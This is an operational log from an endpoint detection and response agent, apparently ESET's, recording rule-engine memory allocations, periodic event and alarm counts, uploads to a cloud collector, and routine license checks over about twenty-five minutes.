2026-03-04 17:43:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:43:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:43:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2304 KB; ModuleMetadata: 1973 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 458 KB; rules::ProcessConditionsCache: 408 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 120 KB; ProcessInfoCommandLineTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 23022 KB;
2026-03-04 17:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2667 KB; ModuleMetadata: 1973 KB; BaseEvent: 636 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; rules::ProcessConditionsCache: 385 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 167 KB; cloudutils::CloudData: 137 KB; ProcessInfoCommandLineTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 23603 KB;
2026-03-04 17:45:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:41:12, To:, 2026-03-04 17:45:29, Duration (s):, 257, Events Per Second:, 15.853, Events:, 4078, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3363, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 714, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 452968
2026-03-04 17:45:30 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s391ms.
2026-03-04 17:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1512 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BaseEvent: 79 KB; rules::ProcessConditionsCache: 62 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 19 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 21465 KB;
2026-03-04 17:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1872 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 261 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 70 KB; rules::ProcessConditionsCache: 37 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22017 KB;
2026-03-04 17:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2236 KB; ModuleMetadata: 1973 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 440 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 116 KB; rules::ProcessConditionsCache: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22603 KB;
2026-03-04 17:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:48:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:48:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:48:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:48:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2598 KB; ModuleMetadata: 1973 KB; BaseEvent: 618 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 164 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23176 KB;
2026-03-04 17:49:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:45:28, To:, 2026-03-04 17:49:33, Duration (s):, 245, Events Per Second:, 16.766, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3411, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 700, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456688
2026-03-04 17:49:34 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s364ms.
2026-03-04 17:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1440 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; rules::ProcessConditionsCache: 404 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BaseEvent: 63 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 17 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 21660 KB;
2026-03-04 17:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1973 KB; ProcessInfo: 1815 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; rules::ProcessConditionsCache: 399 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BaseEvent: 244 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 65 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22278 KB;
2026-03-04 17:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2173 KB; ModuleMetadata: 1973 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; BaseEvent: 420 KB; rules::ProcessConditionsCache: 376 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 110 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22835 KB;
2026-03-04 17:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2536 KB; ModuleMetadata: 1973 KB; BaseEvent: 599 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; rules::ProcessConditionsCache: 359 KB; ModuleInfoCache: 315 KB; CacheEntry: 290 KB; BatchSerializer::EventsQueueTag: 158 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23402 KB;
2026-03-04 17:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:53:41 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:49:32, To:, 2026-03-04 17:53:41, Duration (s):, 249, Events Per Second:, 16.475, Events:, 4111, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3395, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 715, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456606
2026-03-04 17:53:43 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s358ms.
2026-03-04 17:53:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:53:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:53:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:53:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1982 KB; ProcessInfo: 1374 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 342 KB; ModuleInfoCache: 317 KB; CacheEntry: 292 KB; cloudutils::CloudData: 137 KB; BaseEvent: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21496 KB;
2026-03-04 17:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1982 KB; ProcessInfo: 1736 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 329 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BaseEvent: 214 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22075 KB;
2026-03-04 17:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2129 KB; ModuleMetadata: 1982 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; BaseEvent: 400 KB; rules::ProcessConditionsCache: 394 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 106 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22800 KB;
2026-03-04 17:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2495 KB; ModuleMetadata: 1982 KB; BaseEvent: 579 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; rules::ProcessConditionsCache: 380 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BatchSerializer::EventsQueueTag: 153 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23385 KB;
2026-03-04 17:57:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:53:41, To:, 2026-03-04 17:57:45, Duration (s):, 244, Events Per Second:, 16.923, Events:, 4135, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3429, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 703, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458426
2026-03-04 17:57:47 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s299ms.
2026-03-04 17:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1982 KB; ProcessInfo: 1423 KB; TcpIpConnectionsManager: 593 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 137 KB; BaseEvent: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; BatchSerializer::EventsQueueTag: 6 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 21284 KB;
2026-03-04 17:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 17:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 17:58:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 17:58:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 17:58:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 17:58:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 17:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ModuleMetadata: 1982 KB; ProcessInfo: 1781 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; rules::ProcessConditionsCache: 403 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BaseEvent: 205 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 53 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22220 KB;
2026-03-04 17:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15378 KB; ProcessInfo: 2141 KB; ModuleMetadata: 1982 KB; TcpIpConnectionsManager: 563 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; BaseEvent: 381 KB; rules::ProcessConditionsCache: 377 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 100 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22784 KB;
2026-03-04 18:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2586 KB; ModuleMetadata: 1982 KB; BaseEvent: 577 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BatchSerializer::EventsQueueTag: 155 KB; cloudutils::CloudData: 137 KB; rules::ProcessConditionsCache: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23120 KB;
2026-03-04 18:01:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 17:57:44, To:, 2026-03-04 18:01:45, Duration (s):, 241, Events Per Second:, 17.082, Events:, 4122, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3436, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 685, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461172
2026-03-04 18:01:46 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s416ms.
2026-03-04 18:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1982 KB; ProcessInfo: 1433 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 137 KB; BaseEvent: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 19 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21244 KB;
2026-03-04 18:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1982 KB; ProcessInfo: 1794 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; TcpIpConnectionsManager: 521 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BaseEvent: 206 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 53 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; rules::ProcessConditionsCache: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21843 KB;
2026-03-04 18:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:03:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:03:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:03:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:03:54 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2154 KB; ModuleMetadata: 1982 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; TcpIpConnectionsManager: 524 KB; rules::ProcessConditionsCache: 406 KB; BaseEvent: 385 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 100 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22812 KB;
2026-03-04 18:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2517 KB; ModuleMetadata: 1982 KB; BaseEvent: 564 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 404 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BatchSerializer::EventsQueueTag: 147 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23399 KB;
2026-03-04 18:05:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:01:44, To:, 2026-03-04 18:05:53, Duration (s):, 249, Events Per Second:, 16.469, Events:, 4107, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3384, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 722, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456770
2026-03-04 18:05:54 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s356ms.
2026-03-04 18:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1982 KB; ProcessInfo: 1317 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 394 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 137 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BaseEvent: 1 KB; BatchSerializer::EventsQueueTag: 0 KB; BatchStringTag: 0 KB; Total: 21455 KB;
2026-03-04 18:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1982 KB; ProcessInfo: 1675 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 369 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BaseEvent: 176 KB; cloudutils::CloudData: 137 KB; BatchSerializer::EventsQueueTag: 45 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22014 KB;
